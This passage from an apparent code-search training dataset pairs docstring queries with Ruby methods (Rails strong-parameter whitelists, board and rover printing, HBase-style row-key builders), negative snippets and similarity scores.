top+70, ZOrder::UI) }\n end", "def print_board\n reputs\n @hash.each do |player, position|\n puts \" |\" * (position - 1) + player + \"|\" + \" |\" * (length - position)\n end\n end", "def paint_world\r\n show_sun\r\n\tputs ''\r\n count = 0\r\n @height.times do\r\n @width.times do\r\n print @positions[count].symbol\r\n count += 1\r\n end\r\n puts ''\r\n end\r\n puts '------------'\r\n end", "def draw\n # clear the terminal\n system(\"clear\")\n # draw the top rail\n puts '-' * self.length\n # draw each horse in it's own lane\n self.horses.each do |horse|\n # draw .......all the way up to the position of the horse\n print '.' * horse.position + horse.print\n puts\n # draw the bottom rail\n puts '-' * self.length\n end\n end", "def pos\n io.pos\n end", "def print_board\n @board.reverse.each_with_index do |rank, ri|\n rank_num = rank.length - ri\n print \"#{rank_num} \"\n rank.each_with_index do |file, fi|\n print \"\\u2502\" #vertical line\n if file.nil?\n print \"\\u2022\" #bullet point\n else\n print file.unicode # prints piece unicode\n end\n end\n puts \"\\u2502\" #vertical line\n end\n puts \" A B C D E F G H\"\n puts\n end", "def get_rover_position\n valid_rover_position = false\n\n while !valid_rover_position\n if valid_position\n valid_rover_position = plateau.rover_in_bounds?(input[0].to_i, input[1].to_i)\n unless valid_rover_position\n puts \"Rover position out of plateau bounds. Enter rover position:\"\n @input = STDIN.gets.chomp.split\n end\n else\n puts \"Incorrect position entered. Enter rover position:\"\n @input = STDIN.gets.chomp.split\n end\n end\n\n @rover = Rover.new(input[0], input[1], input[2])\n end", "def test_complete_rotation\n rover = MarsRover.new\n rover.command('LLLL')\n assert_equal([0,0,'N'], rover.position)\n end", "def render\n (\"A\"..\"H\").each { |col| print \" #{col}\"}\n print \"\\n\\n\"\n\n (0...8).each do |row|\n # Start counting downwards - rows are upside down in ChessBoard\n row_idx = (7 - row) % @board.rows.count + 1\n print \"#{row_idx} \"\n\n (0...8).each do |col|\n pos = [row, col]\n render_piece(pos)\n end\n\n print \"\\n\\n\"\n end\n\n debug_info if @debug\n print_controls\n end", "def save_pos; end", "def report_location\n return \"#{@coords_x} #{@coords_y} #{@orientation}\" if @alive\n return 'ROVER LOST' unless @alive\n end", "def cur_pos\n @cursor.pos\n end", "def move(s, x, y, isTextMode)\n if isTextMode\n puts \"# move(sp, #{x}, #{y})\"\n puts \"PA#{x.to_i()},#{y.to_i()};\"\n else\n s.puts \"PA#{x.to_i()},#{y.to_i()};\"\n end\nend", "def position \n\t\treturn @y,@x\n\tend" ]
[ "0.69368005", "0.64545393", "0.64132243", "0.62468153", "0.61611396", "0.6037876", "0.6035448", "0.5863661", "0.58489615", "0.5789229", "0.5774937", "0.5762583", "0.5734968", "0.5715904", "0.56647027", "0.56647027", "0.56647027", "0.56647027", "0.5651878", "0.56428796", "0.5612524", "0.56115496", "0.56106704", "0.56106704", "0.56106704", "0.56106704", "0.56106704", "0.56106704", "0.56106704", "0.56106704", "0.5602222", "0.55981165", "0.5571633", "0.5563418", "0.55624807", "0.55442345", "0.54770714", "0.5475741", "0.5473752", "0.5462913", "0.5462913", "0.5462913", "0.5462913", "0.5462913", "0.5462913", "0.54268837", "0.5419978", "0.5415845", "0.5414038", "0.5409169", "0.5408718", "0.5408718", "0.54034007", "0.5401967", "0.5397197", "0.5392884", "0.53846073", "0.5375706", "0.5358255", "0.5358255", "0.5358255", "0.53531617", "0.5350145", "0.53498966", "0.53495634", "0.5345174", "0.5341267", "0.53382707", "0.53382707", "0.5332642", "0.5331445", "0.5325566", "0.53236204", "0.53203315", "0.5317779", "0.5316045", "0.5316045", "0.5316045", "0.53155017", "0.53123844", "0.5310521", "0.5296896", "0.52956927", "0.5291708", "0.5274012", "0.5266558", "0.5263302", "0.5254612", "0.525225", "0.5249739", "0.52489936", "0.5248262", "0.52337134", "0.522876", "0.5223093", "0.52206117", "0.5211794", "0.5205674", "0.5197665", "0.51969045" ]
0.71878767
0
Never trust parameters from the scary internet, only allow the white list through.
def listing_params params.require(:listing).permit(:title, :description, :picture, :price, :category_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
Return a rowkey for a specific date an optional user as well as payload
def sensation_create_key(ts_sec, user_id = nil, payload = nil) key = (ts_sec / 86400) << 64 if user_id key += (user_id << 32) end if payload key += Zlib::crc32(payload) end key.to_java.toByteArray end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def rowkey type = :string\n Util.from_bytes type, @result.getRow\n end", "def rowkey type = :raw\n Util.from_bytes type, @java.getRow\n end", "def key_by_date\n self.strftime('%Y-%m-%d')\n end", "def original_key(row)\n end", "def get_key record\n record\n end", "def key_name(time, date_type=RailsRank::Types::Date::HOURLY)\n case date_type\n when RailsRank::Types::Date::YEARLY\n time.strftime('%Y')\n when RailsRank::Types::Date::MONTHLY\n time.strftime('%Y-%m')\n when RailsRank::Types::Date::DAILY\n time.strftime('%Y-%m-%d')\n else\n time.strftime('%Y-%m-%d-%H')\n end\n end", "def extract_key(row)\n row.reject {|column, value| not primary_key_names.include? column }\n end", "def make_date_key(day_or_date)\n if day_or_date.class == Symbol\n day_or_date\n else\n Time.parse(day_or_date).key_by_date\n end\n end", "def key\n patron_info['id'] || user_info['id']\n end", "def identify row\n # hash the row to provide a usefull key\n hash = row.hash\n\n # find an existing identity or create one with next_identity\n @identities[row.hash] || (@identities[hash] = next_identity)\n end", "def map_to_row!(user_data)\n row_data = {}\n\n # Handle public_key vs. certificates\n if user_data.key?(:public_key)\n row_data[:pubkey_version] = 0\n row_data[:public_key] = user_data.delete(:public_key)\n else\n row_data[:pubkey_version] = 1\n row_data[:public_key] = user_data.delete(:certificate)\n end\n\n breakout_columns(user_data).each do |property_name|\n row_data[property_name] = user_data.delete(property_name) if user_data.key?(property_name)\n end\n\n row_data[:serialized_object] = as_json(user_data)\n row_data\n end", "def safe_row(key)\n keyed_table[key]\n end", "def insert_row_for_date(date:, key:, type:, value:, question: nil, source:, import_id:, force_match: false)\n raise \"invalid type #{type}\" unless [\"boolean\", \"range\", \"number\", \"text\"].include?(type)\n\n # First, look if we have an existing row from a previous import\n existing_entries = raw_data.where(\n matcheddate: date,\n key: key,\n )\n if existing_entries.count == 1\n existing_entry = existing_entries.first\n if existing_entry[:source] == source && existing_entry[:value].to_s == value.to_s # to_s to work with nil, and numbers also\n puts \"#{date} #{key} Verified existing entry from import_id #{existing_entry[:importid]} is valid & matching...\"\n elsif existing_entry[:source] == source\n # TODO: This means the value has changed, it will be fine to just update the entry probably\n # binding.pry\n else\n # Different source/value\n binding.pry\n end\n elsif existing_entries.count > 1\n # binding.pry # TODO: how to handle\n else\n puts \"Looking for match on #{date}...\"\n if matching_entry = find_closest_row_for_date(date: date)\n puts \"Found match: #{date}\\t\\t#{matching_entry[:month]}-#{matching_entry[:day]} #{matching_entry[:hour]}:#{matching_entry[:minute]}\"\n\n new_entry = matching_entry.dup\n if new_entry[:matcheddate] != date\n if force_match\n puts \"No other entries on that day it seems, with `force_match` enabled\"\n return\n end\n end\n \n new_entry.delete(:id)\n new_entry[:key] = key\n new_entry[:question] = question\n new_entry[:type] = type\n new_entry[:value] = value\n new_entry[:source] = source\n new_entry[:importedat] = DateTime.now\n new_entry[:importid] = import_id\n\n raw_data.insert(new_entry)\n puts \"--- Successfully backfilled entry for #{key} to #{value} on #{new_entry[:yearmonth]}-#{new_entry[:day]}\"\n else\n puts \"Couldn't find an entry for that day, but that's okay if we can't backfill, since all other data is basically missing for that day also\"\n end\n end\n end", "def get_or_create_row(key)\n safe_row(key) || begin\n row = CSV::Row.new(@headers, [key])\n table << row\n @keyed_table = nil\n\n safe_row(key)\n end\n end", "def get_entry\n this_entry = nil\n if @worksheet\n @worksheet.list.each do |this_row|\n keep_row = true\n\n @config['key_fields'].keys.reject { |key_field|\n !(@config['key_fields'][key_field][\"required\"]) && !(@keys[key_field])\n }.each do |key|\n break unless keep_row\n keep_row = (this_row[key] == @keys[key])\n end\n \n if keep_row\n return this_row\n end\n end\n end\n end", "def get_event(row, obj_identifier)\n obj_id = @new_id_for[row['intellectual_object_id']]\n gf_id = @new_id_for[row['generic_file_id']]\n inst_id = @new_id_for[row['institution_id']]\n new_event_type = transform_event_type(row['event_type'], row['outcome_detail'])\n raise \"No event type for #{row[identifier]}\" if new_event_type.nil?\n event = {}\n event['intellectual_object_id'] = obj_id\n event['generic_file_id'] = gf_id\n event['institution_id'] = inst_id\n event['identifier'] = row['identifier']\n event['event_type'] = new_event_type\n event['date_time'] = row['date_time']\n event['detail'] = row['detail']\n event['outcome'] = ucfirst(row['outcome'])\n event['outcome_detail'] = row['outcome_detail']\n event['outcome_information'] = row['outcome_information']\n event['object'] = row['object']\n event['agent'] = row['agent']\n event['generic_file_identifier'] = row['generic_file_identifier']\n event['intellectual_object_identifier'] = obj_identifier\n event\n end", "def user_key\n uid\n end", "def rowkey_as_string= row_rowkey\n frozen_check!\n @gapi.bigtable_options.read_rowkey_as_string = row_rowkey\n end", "def make_row_from_educator_record(educator)\n {\n login_name: educator.login_name,\n state_id: educator.state_id,\n local_id: educator.local_id,\n full_name: educator.full_name,\n staff_type: educator.staff_type,\n homeroom: educator.homeroom.try(:name),\n school_local_id: educator.school.try(:local_id)\n }\n end", "def get_key(record)\n get(self.by, record)\n end", "def result_payload_key\n self.class.result_payload_key(@uuid)\n end", "def preexisting_row(row)\n q = \"SELECT * FROM #{dimension_table} WHERE #{natural_key_equality_for_row(row)}\"\n q << \" AND latest_version\" if scd_type == 2\n \n #puts \"looking for original record\"\n result = connection.select_one(q)\n \n #puts \"Result: #{result.inspect}\"\n \n result ? ETL::Row[result.symbolize_keys!] : nil\n end", "def table_row_for_week( curr_date, start_time, offset_min, schedule, appointments_cache, dom_xref_hash )\n current_user = LeUser.find(session[:le_user_id])\n curr_tot_min = start_time.hour * 60 + start_time.min + offset_min\n curr_hour_digit = curr_tot_min / 60\n curr_min_digit = curr_tot_min % 60\n sTemp = \"\" << start_time.year.to_s << \"-\" << \"%02u\" % start_time.month.to_s << \"-\" << \n \"%02u\" % start_time.day.to_s << \" \" <<\n \"%02u\" % curr_hour_digit.to_s << \":\" << \"%02u\" % curr_min_digit.to_s << \":00\"\n curr_hour = DateTime.parse(sTemp)\n\n sOut = \"\\r\\n\" # (Add CR+LF for each table row to improve generated source readibility)\n dt_start = Schedule.get_week_start( curr_date )\n\n # -- DAY CELL SLOT: add a table cell to the row for each working day:\n dt_start.step(dt_start+5, 1) { |d|\n curr_name = \"\"\n curr_updated_on = nil\n curr_id = 0\n curr_is_receipt_issued = false\n s_target_datetime = Schedule.format_datetime_coordinates_for_mysql_param( d, curr_hour )\n\n for app in appointments_cache\n if s_target_datetime == Schedule.format_datetime_for_mysql_param( app.date_schedule )\n curr_name = app.get_full_name\n curr_id = app.id\n curr_updated_on = app.updated_on\n curr_is_payed = app.is_payed?\n curr_is_receipt_issued = app.is_receipt_issued\n curr_is_receipt_delivered = app.is_receipt_delivered\n break\n end\n end\n # Build-up basic link to insert into the cell:\n table_data = ( curr_is_payed ? content_tag(:div, '', :class => 'schedule-payed-img') : '' ) +\n link_to_unless(\n ( current_user.nil? ||\n !( curr_name.blank? ? current_user.can_do(:appointments, :create) :\n current_user.can_do(:appointments, :show)\n )\n ),\n \"%02u\" % curr_hour_digit.to_s << \":\" << \"%02u\" % curr_min_digit.to_s,\n ( curr_name.blank? ? edit_appointments_path( :id => curr_id, :curr_time => s_target_datetime ) :\n show_appointments_path( :id => curr_id, :curr_time => s_target_datetime )\n )\n ) +\n \"<br/>\" + h( curr_name )\n # Make table cell data draggable or droppable, if we can:\n if curr_name.blank? # 'DROP'-appointment type:\n div_id = get_unique_dom_id( 'dropapp', s_target_datetime )\n table_data = content_tag( :div, table_data, :id => div_id ) + \"\\r\\n\"\n if DRAG_N_DROP_GLOBAL_SWITCH && current_user && current_user.can_do(:appointments, :update)\n table_data << content_tag( :script, get_droppable_script(div_id), :type => \"text/javascript\" ) + \"\\r\\n\"\n dom_xref_hash[:drop_date_schedules] << s_target_datetime\n dom_xref_hash[:drop_date_schedule_doms] << div_id\n end\n # 'DRAG'-appointment type:\n elsif ! curr_is_receipt_issued\n div_id = get_unique_dom_id( 'dragapp', s_target_datetime )\n table_data = content_tag( :div, table_data, :id => div_id, :style => \"width:100%; height:4em; background-color:inherit;\" ) + \"\\r\\n\"\n if DRAG_N_DROP_GLOBAL_SWITCH && current_user && current_user.can_do(:appointments, :update)\n table_data << content_tag( :script, get_draggable_script(div_id) + get_highlight_script_if_recently_updated(div_id, curr_updated_on), :type => \"text/javascript\" ) + \"\\r\\n\"\n dom_xref_hash[:drag_appointment_ids] << curr_id\n dom_xref_hash[:drag_appointment_doms] << div_id\n end\n # 'FIXED'-appointment type:\n else\n div_id = get_unique_dom_id( 'app', s_target_datetime )\n script_text = get_highlight_script_if_recently_updated( div_id, curr_updated_on )\n table_data = content_tag( :div, table_data, :id => div_id ) + \"\\r\\n\"\n unless script_text.blank?\n table_data << content_tag( :script, script_text, :type => \"text/javascript\" ) + \"\\r\\n\"\n end\n end\n # Encapsulate data in table cell:\n sOut << \" #{content_tag( :td, table_data, :class => get_schedule_cell_style(d, curr_is_receipt_issued, curr_is_receipt_delivered) )}\\r\\n\" \n }\n\n # -- SCHEDULE NOTES SLOT: add another table cell at the end of the row:\n s_target_datetime = Schedule.format_datetime_coordinates_for_mysql_param( dt_start+6, curr_hour )\n schedule_notes_slot = ''\n\n if schedule.nil? # 'DROP'-slot type:\n div_id = get_unique_dom_id( 'dropslot', s_target_datetime )\n schedule_notes_slot = content_tag( :div, '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;', :id => div_id ) + \"\\r\\n\"\n if DRAG_N_DROP_GLOBAL_SWITCH && current_user && current_user.can_do(:appointments, :update)\n schedule_notes_slot << content_tag( :script, get_droppable_script(div_id), :type => \"text/javascript\" ) + \"\\r\\n\"\n dom_xref_hash[:drop_date_schedules] << '' # leave schedule date blank for empty side slots that are drop targets\n dom_xref_hash[:drop_date_schedule_doms] << div_id\n end\n # 'DRAG'-slot type:\n elsif schedule.must_insert? and (! schedule.is_done?)\n div_id = get_unique_dom_id( 'dragslot', s_target_datetime )\n schedule_notes_slot = content_tag( :div, schedule.get_full_description(), :id => div_id, :style => \"width:100%; height:4em; background-color:inherit;\" ) + \"\\r\\n\"\n if DRAG_N_DROP_GLOBAL_SWITCH && current_user && current_user.can_do(:appointments, :update)\n schedule_notes_slot << content_tag( :script, get_draggable_script(div_id) + get_highlight_script_if_recently_updated(div_id, schedule.updated_on), :type => \"text/javascript\" ) + \"\\r\\n\"\n dom_xref_hash[:drag_schedule_ids] << schedule.id\n dom_xref_hash[:drag_schedule_doms] << div_id\n end\n # 'FIXED'-slot type:\n else\n div_id = get_unique_dom_id( 'slot', s_target_datetime )\n schedule_notes_slot = content_tag( :div, schedule.get_full_description(), :id => div_id ) + \"\\r\\n\"\n script_text = get_highlight_script_if_recently_updated( div_id, schedule.updated_on )\n unless script_text.blank?\n schedule_notes_slot << content_tag( :script, script_text, :type => \"text/javascript\" ) + \"\\r\\n\" \n end\n end\n sOut << \" #{content_tag( :td, schedule_notes_slot, :class => 'schedule-notes' )}\\r\\n\"\n\n return content_tag( :tr, sOut, :class => 'schedule-row' )\n end", "def first_record_key\n @first_record_key ||= first_record.key\n end", "def generate_row_key link\n # rowkey is 'md5_hashed_link'\n d = Digest::MD5.new\n d.hexdigest link\nend", "def arrest_key(date, last, first)\n \"#{date}-#{last}-#{first}\".downcase\n end", "def insert_key_data_for_user(d)\n if d['name'] == 'pivotal' && config[:skip_pivotal]\n ui.warn \"Skipping pivotal user.\"\n return\n end\n ui.msg \"Updating key data for user[#{d['name']}]\"\n new_id = if config[:skip_ids]\n db[:users].where(:username => d['name']).first[:id]\n else\n d['id']\n end\n Chef::Log.debug(\"Found user id for #{d['name']}: #{new_id}\")\n upsert_key_record(key_record_for_db(d, new_id))\n end", "def create_onetime_data(user, data = {})\n key = SecureRandom.uuid\n # d = db\n # d.transaction do\n # d[key] = { user: user, created_at: Time.now.to_i }.merge(data)\n # end\n transaction do |db|\n db[key] = { user: user, created_at: Time.now.to_i }.merge(data)\n end\n key\n end", "def key(key, *args)\n optional = !args.delete(:optional).nil?\n nonempty = !args.delete(:nonempty).nil?\n date = !args.delete(:date).nil?\n\n msg = \"Unrecognized arguments #{args} passed to Record.key\"\n raise ArgumentError, msg unless args.empty?\n\n # If the key exists\n if [email protected]? key\n @missing << key if optional\n msg = \"#{@name} must contain #{key}\"\n raise StandardError, msg unless optional\n elsif nonempty\n @empty << key if optional\n msg = \"#{@name} contains #{key} which must not be empty\"\n raise StandardError, msg unless @data[key]\n end\n\n return unless date\n\n d = @data[key]\n dmsg = \"#{@name} has a non-date #{d.class.name}. Must be of the form YYYY-MM-DD, not #{d}\"\n raise ArgumentError, dmsg unless d.is_a?(Date)\n end", "def get_key_for_record (record:, record_class:)\n if record.is_a?(Hash)\n record_id = record[:id] || record[:_id]\n else\n record_id = record.id\n end\n raise RuntimeError, 'missing record_id' if record_id == nil\n record_class ||= record.class.name\n raise RuntimeError, 'missing record_class' if ['', nil, 'Hash'].include?(record_class)\n key = 